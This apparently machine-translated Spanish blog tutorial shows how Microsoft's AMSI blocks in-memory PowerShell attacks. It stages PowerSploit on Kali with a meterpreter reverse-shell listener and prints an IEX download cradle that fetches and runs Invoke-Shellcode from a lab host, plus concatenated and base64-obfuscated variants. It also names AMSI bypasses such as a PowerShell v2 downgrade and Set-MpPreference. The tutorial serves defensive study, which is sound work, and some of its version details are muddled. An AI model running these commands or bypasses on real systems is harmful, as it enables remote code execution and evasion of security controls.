Cómo utilizar la interfaz de escritura anti-malware de Microsoft

Hola internatura ! Aquí Federico en un nuevo tutorial para ustedes !
Espero que les sea de su agrado y nos vemos en el próximo tutorial

Los piratas informáticos aumentan los ataques de malware ejecutados en la memoria. Una de las principales metodologías de ejecución de los ataques de memoria es ejecutar un script directamente sin escribir nunca el disco. El antivirus tradicional funciona comparando firmas con ficheros del disco. Pero, ¿qué hacemos cuando el código de ejecución no toca nunca el disco?

O peor aún, tenemos un software antivirus tradicional que analiza las órdenes ejecutadas con un patrón de firma, pero el nivel de ofuscación del atacante es demasiado complicado para detectarlo y genera varios falsos positivos. Para resolver este problema, Microsoft creó la interfaz de escritura anti-malware (Amsia).

Amsia es una interfaz abierta diseñada por Microsoft para ser llamada por el software de otro proveedor. Esto permite que cualquier aplicación pueda profundizar en el núcleo del sistema operativo de Microsoft y procesar el contenido enviado a un motor de secuencias de comandos. Esto es extremadamente eficaz, ya que cualquier código ofuscado debe descodificar antes de que el motor de secuencias de comandos pueda procesar.

Amsia es eficaz porque lleva a cabo la memoria y el escaneo de secuencias de comandos de los scripts. Esto es posible ya que Amsia detecta código desofuscat mientras se presenta al anfitrión del script. Esto significa que el método de ejecución de scripts es inmaterial. Los scripts se pueden ejecutar mediante disco, entrada manual o motor interactivo.

El método de entrada no afecta si se detecta el script. Esto incluso es cierto cuando se envían scripts directamente en la biblioteca de vínculos dinámicos de Windows subyacente.

Por ejemplo, un actor malicioso puede enviar un script PowerShell directamente a través de System.Automation.dll en lugar de powershell.exe para intentar evitar la detección. Amsia aún detectará este método de ataque.

Por defecto, Amsia se carga a varios motores de scripts y componentes de Windows en Windows 10. Desde el sitio web de Microsoft, incluye componentes tales como «Control de cuentas de usuario, PowerShell (scripts, uso interactivo y evaluación de código dinámico), Windows Script Host (wscript.exe y cscript.exe), JavaScript, VBScript y macros de Office VBA«.

probando Amsia

Para probar Amsia, mostraremos cómo se detecta y bloquea el orden PowerSploit «Invoke-shellcode» mediante la integración de Amsia Windows Defender.

En este caso, utilizaremos Kali Linux con PowerSploit. PowerSploit es una colección de módulos PowerShell, escritos por Matt Graeber, que se utilizan para controlar y manipular un sistema objetivo. Intentaremos captar estos ataques con Amsia. También confirmaremos que Amsia aún detecta el código una vez ofuscado.

Configuración de Kali Linux

El primer paso del proceso de prueba es configurar el servidor web PowerSploit. El módulo PowerSploit está incrustado por defecto en la distribución de Kali Linux. Si no tiene una distribución Kali Linux, puede obtener un el siguiente enlace: https://www.kali.org/.

A Kali Linux, vaya al directorio / usr / share / powersploit. En este directorio, verá un subdirectorio CodeExecution. Desde este directorio, ejecutaremos la orden Invoke-shellcode desde un servidor web.

En primer lugar, copie todo el directorio de powersploit en / var / www / html. Navegue en / usr / share / y ejecute el siguiente.

cp -r powersploit / var / www / html

A continuación, configure el servidor web ejecutando la orden siguiente.

python -m SimpleHttpServer

Finalmente, utilice msfconsole para configurar un oyente para su shell. El shell ejecutado por el orden PowerSploit Invoke-shellcode es un shell windows / meterpreter / reverse_tcp. El proceso de configuración de un oyente se detalla en la figura siguiente.

Ejecución de la prueba

A continuación, vaya a la máquina Windows 10 para confirmar que el servidor web es accesible. Abra un navegador al servidor web Kali Linux. Busque el siguiente enlace. Debería ver una lista de directorios de Powersploit el navegador, tal como se muestra a continuación.

http: // : 8000

Para simular un ataque, ejecutaremos la orden invoke-shellcode descargándolo directamente del servidor web. Esto ejecutará el ataque a la memoria para demostrar la memoria y el escaneo de secuencias de comandos. Abra powershell.exe como administrador y ejecute el siguiente.

IEX(New-Object
Net.Webclient).DownloadString(http://<kali
ip>/CodeExecution/Invoke-Shellcode.ps1)

Cuando se ejecuta, debería ver un mensaje de error que indica que Amsia ha bloqueado la ejecución del código.

Podemos ver pruebas que Windows Defender ha bloqueado este ataque mirando el registro de Windows Defender, Microsoft Windows Windows Defender / Operativo.

Ofuscando el ataque

Hemos visto que Windows Defender y Amsia paraban un posible troyano. Ahora pasamos a la auténtica belleza de Amsia, la capacidad de detener la ofuscación. Hay varias maneras de ocultar una cadena de PowerShell.

En este artículo, investigaremos dos vías de ofuscación, concatenación y codificación base64. Como Amsia reside en el motor de scripts, justo antes de que se ejecute el código, debería supervisar todo el malware oculto como ejecución de texto plano por el motor Amsia. Por lo tanto, todos los vectores de ataque oscurecidos también se detendrán.

En primer lugar, intentaremos ocultar nuestra orden mediante la concatenación. Romperemos nuestra cadena de ataque en tres órdenes diferentes.

$ X = «IEX (New-Object Net.Webclient).»

$ Y = «DownloadString ( ‘http://192.168.31.136/CodeExecution/In»

$ Z = «voke-Shellcode.ps1 ‘)»

Cuando ejecutamos estas tres líneas juntos, aunque estamos bloqueados por Amsia.

A continuación, intentamos codificar nuestra orden en base64. Para convertir nuestra cadena, utilizaremos una orden de conversión como se muestra a continuación.

$encoded =
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX(New-Object
Net.Webclient).DownloadString('http://192.168.31.136/CodeExecution/Invoke-Shellcode.ps1')"))

Cuando ejecutamos la orden codificada, la AV aún la bloquea, tal como se muestra a continuación.

ignorando Amsia

Como cualquier medida de seguridad, Amsia no es una panacea y hay maneras de evitarla. Por ejemplo, falta la integración Amsia la versión 1. de PowerShell. Si se ejecuta la versión 2 de PowerShell al sistema, no se escaneará el script correspondiente. Además, Amsia es una tecnología basada en firmas.

Como tal, es posible pasar por alto una firma particular modificando ligeramente una orden particular. Finalmente, se puede utilizar el comando Set-MpPreference para desactivar Amsia. Como ocurre con cualquier estrategia defensiva, es importante ser consciente de las limitaciones de la técnica defensiva y tener estrategias de defensa en profundidad para reforzar la postura de seguridad general.

Técnicas adicionales como el registro de bloques de escrituras y el modo de lenguaje restringido son algunos ejemplos de una herramienta de defensa en profundidad que se puede añadir a su postura de seguridad.

La técnica de Microsoft de incorporar Amsia al sistema operativo soluciona una brecha de seguridad que los lenguajes basados ​​en scripts han aprovechado durante mucho tiempo.

Proporciona una buena manera para los desarrolladores de aplicaciones y desarrolladores de soluciones antivirus para prevenir de manera proactiva malware basado en scripts en Windows. Junto con otras herramientas de defensa en profundidad, Amsia proporciona otra manera de detener el pirata informático.

Deja un comentario